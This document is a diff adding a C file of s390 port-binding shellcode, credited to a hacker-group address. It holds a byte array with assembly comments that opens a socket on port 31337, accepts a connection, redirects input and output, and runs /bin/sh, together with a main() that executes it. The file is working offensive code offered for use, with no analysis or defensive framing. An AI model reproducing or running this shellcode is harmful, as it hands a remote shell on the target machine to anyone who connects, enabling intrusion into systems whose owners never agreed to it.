--- /dev/null
+/*----------------------------------------------------------------------*/
+/* s390 portbinding shellcode - svc opcode 0x0a free */
+/* code by jcyberpunk@thehackerschoice.com */
+/*----------------------------------------------------------------------*/
+char shellcode[]=
+"\x0d\x10" /* basr %r1,%r0 */
+"\x41\x90\x10\xd4" /* la %r9,212(%r1) */
+"\xa7\x68\x04\x56" /* lhi %r6,1110 */
+"\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */
+"\x1a\x6a" /* ar %r6,%r10 */
+"\x42\x60\x10\xd4" /* stc %r6,212(%r1) */
+"\xa7\x28\x04\x4e" /* lhi %r2,1102 */
+"\x1a\x2a" /* ar %r2,%r10 */
+"\x40\x20\xf0\x78" /* sth %r2,120(%r15) */
+"\xa7\x38\x7a\x69" /* lhi %r3,31337 */
+"\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */
+"\x17\x44" /* xr %r4,%r4 */
+"\x50\x40\xf0\x7c" /* st %r4,124(%r15) */
+"\xa7\x38\x04\x4d" /* lhi %r3,1101 */
+"\x1a\x3a" /* ar %r3,%r10 */
+"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
+"\xa7\x28\x04\x4d" /* lhi %r2,1101 */
+"\x1a\x2a" /* ar %r2,%r10 */
+"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
+"\x0d\xe9" /* basr %r14,%r9 */
+"\x18\x72" /* lr %r7,%r2 */
+"\x41\x30\xf0\x78" /* la %r3,120(%r15) */
+"\xa7\x88\x04\x5c" /* lhi %r8,1116 */
+"\x1a\x8a" /* ar %r8,%r10 */
+"\x18\x48" /* lr %r4,%r8 */
+"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
+"\xa7\x28\x04\x4e" /* lhi %r2,1102 */
+"\x1a\x2a" /* ar %r2,%r10 */
+"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
+"\x0d\xe9" /* basr %r14,%r9 */
+"\x18\x27" /* lr %r2,%r7 */
+"\xa7\x38\x04\x4d" /* lhi %r3,1101 */
+"\x1a\x3a" /* ar %r3,%r10 */
+"\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
+"\xa7\x28\x04\x50" /* lhi %r2,1104 */
+"\x1a\x2a" /* ar %r2,%r10 */
+"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
+"\x0d\xe9" /* basr %r14,%r9 */
+"\x18\x27" /* lr %r2,%r7 */
+"\x41\x30\xf0\x78" /* la %r3,120(%r15) */
+"\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
+"\x50\x80\xf0\x88" /* st %r8,136(%r15) */
+"\xa7\x28\x04\x51" /* lhi %r2,1105 */
+"\x1a\x2a" /* ar %r2,%r10 */
+"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
+"\x0d\xe9" /* basr %r14,%r9 */
+"\xa7\x68\x04\x8b" /* lhi %r6,1163 */
+"\x1a\x6a" /* ar %r6,%r10 */
+"\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
+"\xa7\x38\x04\x4e" /* lhi %r3,1102 */
+"\x1a\x3a" /* ar %r3,%r10 */
+"\x0d\xe9" /* basr %r14,%r9 */
+"\xa7\x3a\xff\xff" /* ahi %r3,-1 */
+"\x0d\xe9" /* basr %r14,%r9 */
+"\xa7\x3a\xff\xff" /* ahi %r3,-1 */
+"\x0d\xe9" /* basr %r14,%r9 */
+"\xa7\x68\x04\x57" /* lhi %r6,1111 */
+"\x1a\x6a" /* ar %r6,%r10 */
+"\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
+"\x41\x20\x10\xd8" /* la %r2,216(%r1) */
+"\x50\x20\x10\xe0" /* st %r2,224(%r1) */
+"\x41\x30\x10\xe0" /* la %r3,224(%r1) */
+"\x17\x44" /* xr %r4,%r4 */
+"\x42\x40\x10\xdf" /* stc %r4,223(%r1) */
+"\x50\x40\x10\xe4" /* st %r4,228(%r1) */
+"\x41\x40\x10\xe4" /* la %r4,228(%r1) */
+"\x0d\xe9" /* basr %r14,%r9 */
+"\x0b\x66" /* svc 102 <--- after modification */
+"\x07\xfe" /* br %r14 */
+"\x2f\x62\x69\x6e" /* /bin */
+"\x2f\x73\x68\x5c"; /* /sh\ */
+
+main()
+{
+ void (*z)()=(void*)shellcode;
+ z();
+}